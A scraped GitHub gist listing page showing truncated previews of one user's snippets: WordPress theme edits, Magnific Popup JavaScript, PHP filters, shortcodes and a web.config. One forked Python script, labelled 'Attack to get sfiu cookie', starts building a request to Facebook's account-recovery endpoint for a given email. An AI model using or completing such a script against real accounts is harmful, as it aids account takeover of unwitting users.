Skip to content

Instantly share code, notes, and snippets.

View imemohit's full-sized avatar

Mohit Agarwal imemohit

View GitHub Profile
Please edit
/wp-content/themes/dt-armada/inc/shortcodes/includes/benefits-vc.php line 137
change
$title = sprintf( '<%1$s>%2$s</%1$s>', $attributes['header_size'], $attributes['title'] );
to
$title = sprintf( '<%1$s><a href="%3$s">%2$s</a></%1$s>', $attributes['header_size'], $attributes['title'],$attributes['image_link'] );
@imemohit
imemohit / 818 2676
Last active May 17, 2016 06:55 — forked from anonymous/810 2840
/*! Magnific Popup - v1.1.0 - 2016-02-20
* http://dimsemenov.com/plugins/magnific-popup/
* Copyright (c) 2016 Dmitry Semenov; */
;(function (factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['jquery'], factory);
} else if (typeof exports === 'object') {
// Node/CommonJS
factory(require('jquery'));
jQuery(document).ready(function($) {
dtGlobals.magnificPopupBaseConfig = {
type: 'image',
tLoading: 'Loading image ...',
mainClass: 'mfp-img-mobile',
removalDelay: 300,
image: {
tError: '<a href="%url%">The image #%curr%</a> could not be loaded.',
titleSrc: function(item) {
,
basicInit : function() {
retinizer();
var $container = this.settings.targetContainer;
$('.dt-gallery-mfp-popup', $container).not('.mfp-ready').on('click', function(){
var $this = $(this),
$container = $this.parents('article.post');
@imemohit
imemohit / harenablock
Last active August 29, 2015 14:14 — forked from Getmrahul/harenablock
#! usr/bin/python
# -*- coding: utf-8 -*-
import requests
######################### Attack to get sfiu cookie ######################
url = 'https://touch.facebook.com/login/identify/?ctx=recover&ref=wizard'
phno = raw_input('Enter EmailId:\n>')
payload = {
'lsd' : 'AVqoLCeF',
add_action( 'get_header', 'dt_archive_sidebar', 10 );
function dt_archive_sidebar() {
$config = Presscore_Config::get_instance();
if(is_archive() || is_category() ||is_search() ){
$config->set( 'sidebar_position', 'right' );
$config->set( 'footer_widgetarea_id', 'sidebar_1' );
}
@imemohit
imemohit / gist:574114bfec1659cc1b26
Created December 10, 2014 03:48
/shortcodes/3-shortcodes/photos-scroller/
[vc_row margin_top="-5" padding_left="40" padding_right="40" bg_position="top" bg_repeat="no-repeat" bg_cover="false" bg_attachment="false" padding_top="40" padding_bottom="40" parallax_speed="0.1"][vc_column width="1/1"][dt_fancy_title title="Fixed image width, autoslide" title_align="left" title_size="h6" title_color="custom" separator_style="disabled" el_width="100" title_bg="enabled" separator_color="accent" custom_title_color="#ffffff"][vc_empty_space height="45px"][dt_small_photos height="166" width="166" padding="0" arrows="dark" number="8" orderby="recent" category="photo-wall-album" autoslide="4000" loop="true"][vc_empty_space height="80px"][dt_fancy_title title="Proportional image width" title_align="left" title_size="h6" title_color="custom" separator_style="disabled" el_width="100" title_bg="enabled" separator_color="accent" custom_title_color="#ffffff"][vc_empty_space height="45px"][dt_small_photos height="180" padding="0" arrows="light" number="8" orderby="recent" category="people" loop="true"][
add_filter( 'dt_menu_options', 'custom_menu_filter' );
function custom_menu_filter( $options = array() ) {
if(is_page( 42 )) {
$options['location'] = 'foo';
}
if(is_category( )) {
$options['location'] = 'bar';
@imemohit
imemohit / web.config
Last active August 29, 2015 14:08 — forked from jonahvsweb/web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<rewrite>
<rules>